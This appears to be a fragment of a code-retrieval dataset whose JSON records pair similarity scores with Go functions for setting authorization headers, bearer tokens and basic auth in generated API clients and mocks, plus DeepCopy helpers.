nil,\n\t\twr.contractABI,\n\t\twr.caller,\n\t\twr.errorResolver,\n\t\twr.contractAddress,\n\t\t\"updateAuthorizationParameters\",\n\t\t&result,\n\t\targ__minimumAuthorization,\n\t\targ__authorizationDecreaseDelay,\n\t\targ__authorizationDecreaseChangePeriod,\n\t)\n\n\treturn err\n}", "title": "" }, { "docid": "df29b69ba2991a31b2cd1222d55d5d18", "score": "0.5059048", "text": "func (r ApiClientConnectionsDeleteRequest) Authorization(authorization string) ApiClientConnectionsDeleteRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "a11db93887bfbe1898239715b5117ad0", "score": "0.4943037", "text": "func (c *Client) Set(reqBody *SetRequest) error {\n\tb, err := json.Marshal(reqBody)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq, err := http.NewRequest(\"POST\", c.URL, bytes.NewReader(b))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", c.Token))\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\treturn nil\n}", "title": "" }, { "docid": "4af2c1b0209604e6e223ed16b2af7e71", "score": "0.49233386", "text": "func (r ApiClientConnectionsProfileNameUrlGetRequest) Authorization(authorization string) ApiClientConnectionsProfileNameUrlGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "b23b7fc1d349475e445b0124d155eadd", "score": "0.49103466", "text": "func (o *UpdateRuleParams) WithAuthorization(authorization string) *UpdateRuleParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "753d559d093ea47774ba0696026ccc6b", "score": "0.48978832", "text": "func (mmWaitAuthorization *mAcmeClientMockWaitAuthorization) Set(f func(ctx context.Context, url string) (ap1 *acme.Authorization, err error)) *AcmeClientMock {\n\tif mmWaitAuthorization.defaultExpectation != nil {\n\t\tmmWaitAuthorization.mock.t.Fatalf(\"Default expectation is already set for the AcmeClient.WaitAuthorization method\")\n\t}\n\n\tif len(mmWaitAuthorization.expectations) > 0 {\n\t\tmmWaitAuthorization.mock.t.Fatalf(\"Some expectations are already set for the AcmeClient.WaitAuthorization method\")\n\t}\n\n\tmmWaitAuthorization.mock.funcWaitAuthorization = f\n\treturn mmWaitAuthorization.mock\n}", "title": "" }, { "docid": "4ba2df5be2e4d7cb23d65d653f4ab40f", "score": "0.48424903", "text": "func (o *PostAPI24ProtectionGroupsParams) WithAuthorization(authorization *string) *PostAPI24ProtectionGroupsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "a57541c315cc43fbb91b8bdf48bcfd6b", "score": "0.48416626", "text": "func Authorization(auth string) Tripper {\n\treturn func(next http.RoundTripper) http.RoundTripper {\n\t\treturn TripperFunc(func(r *http.Request) (*http.Response, error) {\n\t\t\tr.Header.Set(\"Authorization\", auth)\n\t\t\treturn next.RoundTrip(r)\n\t\t})\n\t}\n}", "title": "" }, { "docid": "b734b78ca434840e52e46dcc72d72402", "score": "0.48161265", "text": "func (t *Transaction) AddAuthorization(auth IRCD) {\n if t.rcds == nil {\n t.rcds = make([]IRCD, 0, 5)\n }\n t.rcds = append(t.rcds, auth)\n}", "title": "" }, { "docid": "06fe95025f6796af96df750eaf985f68", "score": "0.47789705", "text": "func Authorization(fn AuthorizationFunc) Option {\n\treturn func(o *mwopts) {\n\t\to.Authorization = fn\n\t}\n}", "title": "" }, { "docid": "a0ebf9e5cd411eb40234c25dfd2bf443", "score": "0.47680044", "text": "func setAllowHeader(a *Api, w http.ResponseWriter) {\n\tvar allowMedthods []string\n\tif a.isSetGet {\n\t\tallowMedthods = append(allowMedthods, \"GET\")\n\t}\n\tif a.isSetPost {\n\t\tallowMedthods = append(allowMedthods, \"POST\")\n\t}\n\tif a.isSetPut {\n\t\tallowMedthods = append(allowMedthods, \"PUT\")\n\t}\n\tif a.isSetDelete {\n\t\tallowMedthods = append(allowMedthods, \"DELETE\")\n\t}\n\tvar allowValue string\n\tfor i, m := range allowMedthods {\n\t\tallowValue += m\n\t\tif (i + 1) < len(allowMedthods) {\n\t\t\tallowValue += \", \"\n\t\t}\n\t}\n\tw.Header().Set(\"Allow\", allowValue)\n}", "title": "" }, { "docid": "81751be6050944714afeefdec3198211", "score": "0.476765", "text": "func (o *PatchAPI24DrivesParams) WriteToRequest(r runtime.ClientRequest, reg strfmt.Registry) error {\n\n\tif err := r.SetTimeout(o.timeout); err != nil {\n\t\treturn err\n\t}\n\tvar res []error\n\n\tif o.Authorization != nil {\n\n\t\t// header param Authorization\n\t\tif err := r.SetHeaderParam(\"Authorization\", *o.Authorization); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\tif o.XRequestID != nil {\n\n\t\t// header param X-Request-ID\n\t\tif err := r.SetHeaderParam(\"X-Request-ID\", *o.XRequestID); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\tif o.Admit != nil {\n\n\t\t// query param admit\n\t\tvar qrAdmit bool\n\t\tif o.Admit != nil {\n\t\t\tqrAdmit = *o.Admit\n\t\t}\n\t\tqAdmit := swag.FormatBool(qrAdmit)\n\t\tif qAdmit != \"\" {\n\n\t\t\tif err := r.SetQueryParam(\"admit\", qAdmit); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7a2eb8339a72083f1153ca77d388f4e4", "score": "0.47668484", "text": "func (a *AuthorizationsApiService) AuthorizationUpdate(ctx _context.Context, id string, authorizationUpdateParameters AuthorizationUpdateParameters, localVarOptionals *AuthorizationUpdateOpts) (Authorization, *APIResponse, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPatch\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue Authorization\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/authorizations/{id}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"id\"+\"}\", _neturl.QueryEscape(parameterToString(id, \"\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif localVarOptionals != nil && localVarOptionals.XPhraseAppOTP.IsSet() {\n\t\tlocalVarHeaderParams[\"X-PhraseApp-OTP\"] = parameterToString(localVarOptionals.XPhraseAppOTP.Value(), \"\")\n\t}\n\t// body params\n\tlocalVarPostBody = &authorizationUpdateParameters\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"Authorization\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "ed71f2da5af6680f0e45450e6657dda2", "score": "0.47228375", "text": "func (c *FakeApigeeSyncAuthorizations) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.ApigeeSyncAuthorization, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewPatchSubresourceAction(apigeesyncauthorizationsResource, c.ns, name, pt, data, subresources...), &v1alpha1.ApigeeSyncAuthorization{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*v1alpha1.ApigeeSyncAuthorization), err\n}", "title": "" }, { "docid": "5dc3d92f9f7feb3ab066d82d1b73b508", "score": "0.47124776", "text": "func (d *RegistryService) Authorization(scope *scope.Scope) (string, error) {\n\tregistryinfo := config.GetConfig().Registry\n\tif registryinfo.Auth == \"\" {\n\t\treturn \"\", errors.New(\"Authorization endpoint argument is empty\")\n\t}\n\n\tpath := fmt.Sprintf(registryinfo.Auth+\"?scope=%s&service=%s\", scope.String(), registryinfo.Name)\n\t// logger.DEBUG(\"service/docker-registry.go\", \"Authorization\", path)\n\treq, err := http.NewRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treq.Header.Add(\"Authorization\", tokenutil.BuilderBasicToken())\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlogger.ERROR(\"service/docker-registry.go\", \"Authorization\", err.Error())\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tr, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tm := make(map[string]string)\n\tjson.Unmarshal(r, &m)\n\n\t// logger.DEBUG(\"service/docker-registry.go\", \"Authorization\", m[\"token\"])\n\n\treturn fmt.Sprintf(\"Bearer %s\", m[\"token\"]), nil\n}", "title": "" }, { "docid": "327ca4dee829610c40c717f685f34141", "score": "0.4705102", "text": "func (s *GitUploadPackService) SetAuth(auth common.AuthMethod) error {\n\tvar ok bool\n\ts.auth, ok = auth.(AuthMethod)\n\tif !ok {\n\t\treturn ErrInvalidAuthMethod\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f36b7a0c96f7ba8177e1ca774d5d857f", "score": "0.46792197", "text": "func (o *PatchStoresStoreIDParams) WithAuthorization(Authorization string) *PatchStoresStoreIDParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "4f7fbe934b58ff24e83d90d73b4e4fb2", "score": "0.46716008", "text": "func (s *systemtestSuite) addAuthorization(c *C, data, token string) proxy.GetAuthorizationReply {\n\tendpoint := proxy.V1Prefix + \"/authorizations\"\n\n\tresp, body := proxyPost(c, token, endpoint, []byte(data))\n\tc.Assert(resp.StatusCode, Equals, 201)\n\n\tauthz := proxy.GetAuthorizationReply{}\n\tc.Assert(json.Unmarshal(body, &authz), IsNil)\n\treturn authz\n}", "title": "" }, { "docid": "ed5fe2436a26ed5d86864195b9a7ed7d", "score": "0.46701103", "text": "func (dazeus *DaZeus) SetPermission(permission string, scope Scope, allow bool) (err error) {\n\tif scope.IsAll() {\n\t\treturn errors.New(\"Will not set permission for universal scope\")\n\t}\n\n\t_, err = writeForSuccessResponse(dazeus, map[string]interface{}{\n\t\t\"do\": \"permission\",\n\t\t\"scope\": scope.ToSlice(),\n\t\t\"params\": []interface{}{\"set\", permission, allow},\n\t})\n\treturn\n}", "title": "" }, { "docid": "ad10a1bf60ae71685ca8613cb0db4fd6", "score": "0.46631205", "text": "func (inc *InNetClient) SetAuth(v uint64) {\n}", "title": "" }, { "docid": "f3153ed9f168d34e1fcec4afe232bd09", "score": "0.46596563", "text": "func (p *polar) SetBearer(bearer string) {\n\tp.bearer = fmt.Sprintf(\"Bearer %s\", bearer)\n}", "title": "" }, { "docid": "ae24892e557d9068370ec3abfa0b3a6f", "score": "0.46540874", "text": "func (client *Client) SetBearer(token string) {\n\tclient.bearer = token\n}", "title": "" }, { "docid": "c20a0fe510b0ab74a714066343da3192", "score": "0.46283713", "text": "func (mmRevokeAuthorization *mAcmeClientMockRevokeAuthorization) Set(f func(ctx context.Context, url string) (err error)) *AcmeClientMock {\n\tif mmRevokeAuthorization.defaultExpectation != nil {\n\t\tmmRevokeAuthorization.mock.t.Fatalf(\"Default expectation is already set for the AcmeClient.RevokeAuthorization method\")\n\t}\n\n\tif len(mmRevokeAuthorization.expectations) > 0 {\n\t\tmmRevokeAuthorization.mock.t.Fatalf(\"Some expectations are already set for the AcmeClient.RevokeAuthorization method\")\n\t}\n\n\tmmRevokeAuthorization.mock.funcRevokeAuthorization = f\n\treturn mmRevokeAuthorization.mock\n}", "title": "" }, { "docid": "73968c7b19201eabb40a8dc3cc8219eb", "score": "0.4625901", "text": "func (o *PatchServicesTypesServiceTypeIDParams) WithAuthorization(Authorization string) *PatchServicesTypesServiceTypeIDParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "2070ac67ddec45da9423e51f080c6750", "score": "0.46212807", "text": "func SetProxyAuthorization(h http.Header, credentials Auth) {\n\th.Set(\"Proxy-Authorization\", buildAuth(false, credentials))\n}", "title": "" }, { "docid": "435e58cb1a4f496f9c271337b38efd1c", "score": "0.46186507", "text": "func (mmGetAuthorization *mAcmeClientMockGetAuthorization) Set(f func(ctx context.Context, url string) (ap1 *acme.Authorization, err error)) *AcmeClientMock {\n\tif mmGetAuthorization.defaultExpectation != nil {\n\t\tmmGetAuthorization.mock.t.Fatalf(\"Default expectation is already set for the AcmeClient.GetAuthorization method\")\n\t}\n\n\tif len(mmGetAuthorization.expectations) > 0 {\n\t\tmmGetAuthorization.mock.t.Fatalf(\"Some expectations are already set for the AcmeClient.GetAuthorization method\")\n\t}\n\n\tmmGetAuthorization.mock.funcGetAuthorization = f\n\treturn mmGetAuthorization.mock\n}", "title": "" }, { "docid": "3795a563a4481708271b37f872535de3", "score": "0.4608502", "text": "func (m *PolicyRoot) SetAuthorizationPolicy(value AuthorizationPolicyable)() {\n m.authorizationPolicy = value\n}", "title": "" }, { "docid": "c386a59772608eecf71ffaccb8ff7e8c", "score": "0.4596059", "text": "func Authorization(token string) Decorator {\n\treturn Header(\"Authorization\", token)\n}", "title": "" }, { "docid": "ebb2009f0b27a61bb996b182602cbf66", "score": "0.45786843", "text": "func (w WebPart) Authorization(authorizationType, credentials string) WebPart {\n\treturn Compose(w, Authorization(authorizationType, credentials))\n}", "title": "" }, { "docid": "3c7a9797b15d9df45a06e857b2b8ca43", "score": "0.45741484", "text": "func (o *DeleteCapabilityParams) WithAuthorization(authorization string) *DeleteCapabilityParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "05edc95aa505ce24c4a931946e14bf35", "score": "0.4553527", "text": "func (lbdc *localBitcoinDifficultyChain) SetAuthorizationRequired(required bool) {\n\tlbdc.authorizationRequired = required\n}", "title": "" }, { "docid": "4a43213ce952fd290981e2a9c9a3bea7", "score": "0.45387882", "text": "func (c *Client) doPatchWithAuthHeaders(ctx context.Context, userAuthToken, serviceAuthToken, collectionID, uri string, patchBody []dprequest.Patch, ifMatch string) (*http.Response, error) {\n\tb, err := json.Marshal(patchBody)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(http.MethodPatch, uri, bytes.NewBuffer(b))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\theaders.SetIfMatch(req, ifMatch)\n\taddCollectionIDHeader(req, collectionID)\n\tdprequest.AddFlorenceHeader(req, userAuthToken)\n\tdprequest.AddServiceTokenHeader(req, serviceAuthToken)\n\treturn c.hcCli.Client.Do(ctx, req)\n}", "title": "" }, { "docid": "38e1615ec3fd2b58418af75c8a195dd9", "score": "0.45282865", "text": "func (o *GetCustomCapabilityPresentationParams) WithAuthorization(authorization string) *GetCustomCapabilityPresentationParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "453dcbe6341444b0577951004111c2be", "score": "0.4514617", "text": "func (rb *TransformSummaryBuilder) Authorization(authorization *TransformAuthorizationBuilder) *TransformSummaryBuilder {\n\tv := authorization.Build()\n\trb.v.Authorization = &v\n\treturn rb\n}", "title": "" }, { "docid": "11deb1cfda2660c9a40936eaff437002", "score": "0.450082", "text": "func (auth *FaaSAuth) Set(req *http.Request) error {\n\treturn sdk.AddBasicAuth(req)\n}", "title": "" }, { "docid": "17cd94d997173cd6814677a9ca090de5", "score": "0.44923267", "text": "func (o *PostPeoplePersonIDParkingInvoiceParams) WithAuthorization(Authorization string) *PostPeoplePersonIDParkingInvoiceParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "20524022e478df4d2ea978c1b486fa1e", "score": "0.44785964", "text": "func (cfg *APICfg) setAuthOption(authOpt string) {\n\n\tswitch strings.ToLower(authOpt) {\n\tcase \"both\":\n\t\tcfg.authOption = URLKeyAndHeaderKey\n\t\tbreak\n\tcase \"header\":\n\t\tcfg.authOption = HeaderKey\n\t\tbreak\n\tdefault:\n\t\tcfg.authOption = UrlKey\n\t}\n}", "title": "" }, { "docid": "c5493bc76b0ba60ea0e40eeea55c4d6f", "score": "0.44717392", "text": "func (t *Place) SetOauthAuthorizationEndpoint(k *url.URL) {\n\tt.raw.SetOauthAuthorizationEndpoint(k)\n\n}", "title": "" }, { "docid": "4a4b843e97bde1ffc157abb251a44ecc", "score": "0.44700092", "text": "func (client GroupClient) SetPermissionPreparer(accountName string, pathParameter string, op string, permission string) (*http.Request, error) {\n\turlParameters := map[string]interface{}{\n\t\t\"accountName\": accountName,\n\t\t\"adlsFileSystemDnsSuffix\": client.AdlsFileSystemDNSSuffix,\n\t}\n\n\tpathParameters := map[string]interface{}{\n\t\t\"path\": autorest.Encode(\"path\", pathParameter),\n\t}\n\n\tconst APIVersion = \"2016-11-01\"\n\tqueryParameters := map[string]interface{}{\n\t\t\"api-version\": APIVersion,\n\t\t\"op\": autorest.Encode(\"query\", op),\n\t}\n\tif len(permission) > 0 {\n\t\tqueryParameters[\"permission\"] = autorest.Encode(\"query\", permission)\n\t}\n\n\tpreparer := autorest.CreatePreparer(\n\t\tautorest.AsPut(),\n\t\tautorest.WithCustomBaseURL(\"https://{accountName}.{adlsFileSystemDnsSuffix}\", urlParameters),\n\t\tautorest.WithPathParameters(\"/webhdfs/v1/{path}\", pathParameters),\n\t\tautorest.WithQueryParameters(queryParameters))\n\treturn preparer.Prepare(&http.Request{})\n}", "title": "" }, { "docid": "6e8b1f4c0029def0a4a83f924b026b3e", "score": "0.44604105", "text": "func SetGroup(params LightsAuthAndBody) {\n\n\tif params.Body.Effect != \"none\" && params.Body.Effect != \"colorloop\" {\n\t\tparams.Body.Effect = \"\"\n\t}\n\n\tif params.Body.Scene == \"potato\" {\n\t\tparams.Body.Scene = \"\"\n\t}\n\n\tupdate := utils.UpdateObject{\n\t\tURL: fmt.Sprintf(\"https://%s/api/%s/groups/%s/action\", params.Auth.HueIP, params.Auth.HueUser, params.Auth.Item),\n\t\tClient: utils.GetClient(),\n\t\tBody: utils.LightsBodyOptions{\n\t\t\tOn: params.Body.On,\n\t\t\tBrightness: params.Body.Brightness,\n\t\t\tSaturation: params.Body.Saturation,\n\t\t\tHue: params.Body.Hue,\n\t\t\tEffect: params.Body.Effect,\n\t\t\tScene: params.Body.Scene,\n\t\t}}\n\n\tres := utils.UpdateItem(update)\n\t//Convert the body to type string\n\tsb := string(res)\n\tlog.Println(sb)\n}", "title": "" }, { "docid": "861a727b50410a94b22c912c1e04b46a", "score": "0.44394994", "text": "func (me *CONFIGURATION_IMPL) SetBasicAuthPassword(basicAuthPassword string) {\r\n me.basicauthpassword = basicAuthPassword\r\n}", "title": "" }, { "docid": "1eb6053bb982451701d6b1f4473eba9f", "score": "0.4437062", "text": "func (_Datatrust *DatatrustTransactor) SetPrivileged(opts *bind.TransactOpts, listing common.Address) (*types.Transaction, error) {\n\treturn _Datatrust.contract.Transact(opts, \"setPrivileged\", listing)\n}", "title": "" }, { "docid": "172022d366a3bf1123bbbf1476661aba", "score": "0.44360942", "text": "func BearerAuthorization(token string) string {\n\treturn \"Bearer \" + token\n}", "title": "" }, { "docid": "5ec26919c0002bc3378525a0abc95f48", "score": "0.44244757", "text": "func (o *DeleteAPI24VolumesTagsParams) WithAuthorization(authorization *string) *DeleteAPI24VolumesTagsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "15000b41b31bcd4d2eff6fe1776541b1", "score": "0.44122782", "text": "func (o *GetPeopleParams) WithAuthorization(Authorization string) *GetPeopleParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "09e13d4fbc765818d9fd801678f29301", "score": "0.44051003", "text": "func (a *AuthorizationsApiService) PatchAuthorizationsIDExecute(r ApiPatchAuthorizationsIDRequest) (Authorization, *_nethttp.Response, GenericOpenAPIError) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPatch\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\texecutionError GenericOpenAPIError\n\t\tlocalVarReturnValue Authorization\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"AuthorizationsApiService.PatchAuthorizationsID\")\n\tif err != nil {\n\t\texecutionError.error = err.Error()\n\t\treturn localVarReturnValue, nil, executionError\n\t}\n\n\tlocalVarPath := localBasePath + \"/authorizations/{authID}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"authID\"+\"}\", _neturl.PathEscape(parameterToString(r.authID, \"\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\tif r.authorizationUpdateRequest == nil {\n\t\texecutionError.error = \"authorizationUpdateRequest is required and must be specified\"\n\t\treturn localVarReturnValue, nil, executionError\n\t}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif r.zapTraceSpan != nil {\n\t\tlocalVarHeaderParams[\"Zap-Trace-Span\"] = parameterToString(*r.zapTraceSpan, \"\")\n\t}\n\t// body params\n\tlocalVarPostBody = r.authorizationUpdateRequest\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\texecutionError.error = err.Error()\n\t\treturn localVarReturnValue, nil, executionError\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\texecutionError.error = err.Error()\n\t\treturn localVarReturnValue, localVarHTTPResponse, executionError\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = _ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\texecutionError.error = err.Error()\n\t\treturn localVarReturnValue, localVarHTTPResponse, executionError\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, executionError\n}", "title": "" }, { "docid": "639df3e6e2cf6e0beaa153c21670ddb2", "score": "0.4404366", "text": "func (obj *HttpRequest) SetAuthHeaderValue(authHeaderValue string) {\n\tauthHeaderValueChar := C.CString(authHeaderValue)\n\tdefer C.free(unsafe.Pointer(authHeaderValueChar))\n\tauthHeaderValueStr := C.vsc_str_from_str(authHeaderValueChar)\n\n\tC.vssc_http_request_set_auth_header_value(obj.cCtx, authHeaderValueStr)\n\n\truntime.KeepAlive(obj)\n\n\truntime.KeepAlive(authHeaderValue)\n\n\treturn\n}", "title": "" }, { "docid": "58ac2713a41982cc4a5fa3abb7e9f4ad", "score": "0.43934727", "text": "func (o *PatchAPI24DrivesParams) WithAdmit(admit *bool) *PatchAPI24DrivesParams {\n\to.SetAdmit(admit)\n\treturn o\n}", "title": "" }, { "docid": "532b529f90c269406b8e27d79a9ee880", "score": "0.43879232", "text": "func authHTTPRequest(req *http.Request, apiKey string) {\n\tconst authUserName = \"api\"\n\n\treq.SetBasicAuth(authUserName, apiKey)\n}", "title": "" }, { "docid": "528bc3ffae4f802f6f669b89f68f8f62", "score": "0.43762746", "text": "func (pcc *PubControlClient) SetAuthBasic(username, password string) {\n\tpcc.lock.Lock()\n\tpcc.authBasicUser = username\n\tpcc.authBasicPass = password\n\tpcc.lock.Unlock()\n}", "title": "" } ]
db5c24b45224484be11ff02d6f449d29
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new VolumeMountPluginOverrideParentOverride.
[ { "docid": "ce78ad77bd0f368a86b5bf1d89d5b345", "score": "0.9008617", "text": "func (in *VolumeMountPluginOverrideParentOverride) DeepCopy() *VolumeMountPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeMountPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" } ]
[ { "docid": "056534543f6a8b9118fb6afb2210857e", "score": "0.87582016", "text": "func (in *VolumePluginOverrideParentOverride) DeepCopy() *VolumePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "57161556cb250b61efd0e4bdccf9342b", "score": "0.8695033", "text": "func (in *VolumeComponentPluginOverrideParentOverride) DeepCopy() *VolumeComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5d0bddaf08dae4ca24d001e48b3ac53e", "score": "0.8314891", "text": "func (in *DockerfilePluginOverrideParentOverride) DeepCopy() *DockerfilePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfilePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "facb4c70db9849ed60836e1ce2873988", "score": "0.83117455", "text": "func (in *BaseComponentPluginOverrideParentOverride) DeepCopy() *BaseComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "70a4191a8da485443688b46e413ca11e", "score": "0.8308041", "text": "func (in *BaseCommandPluginOverrideParentOverride) DeepCopy() *BaseCommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseCommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0268fecf72d34ddbe80d674fc1f60819", "score": "0.8297226", "text": "func (in *KubernetesComponentPluginOverrideParentOverride) DeepCopy() 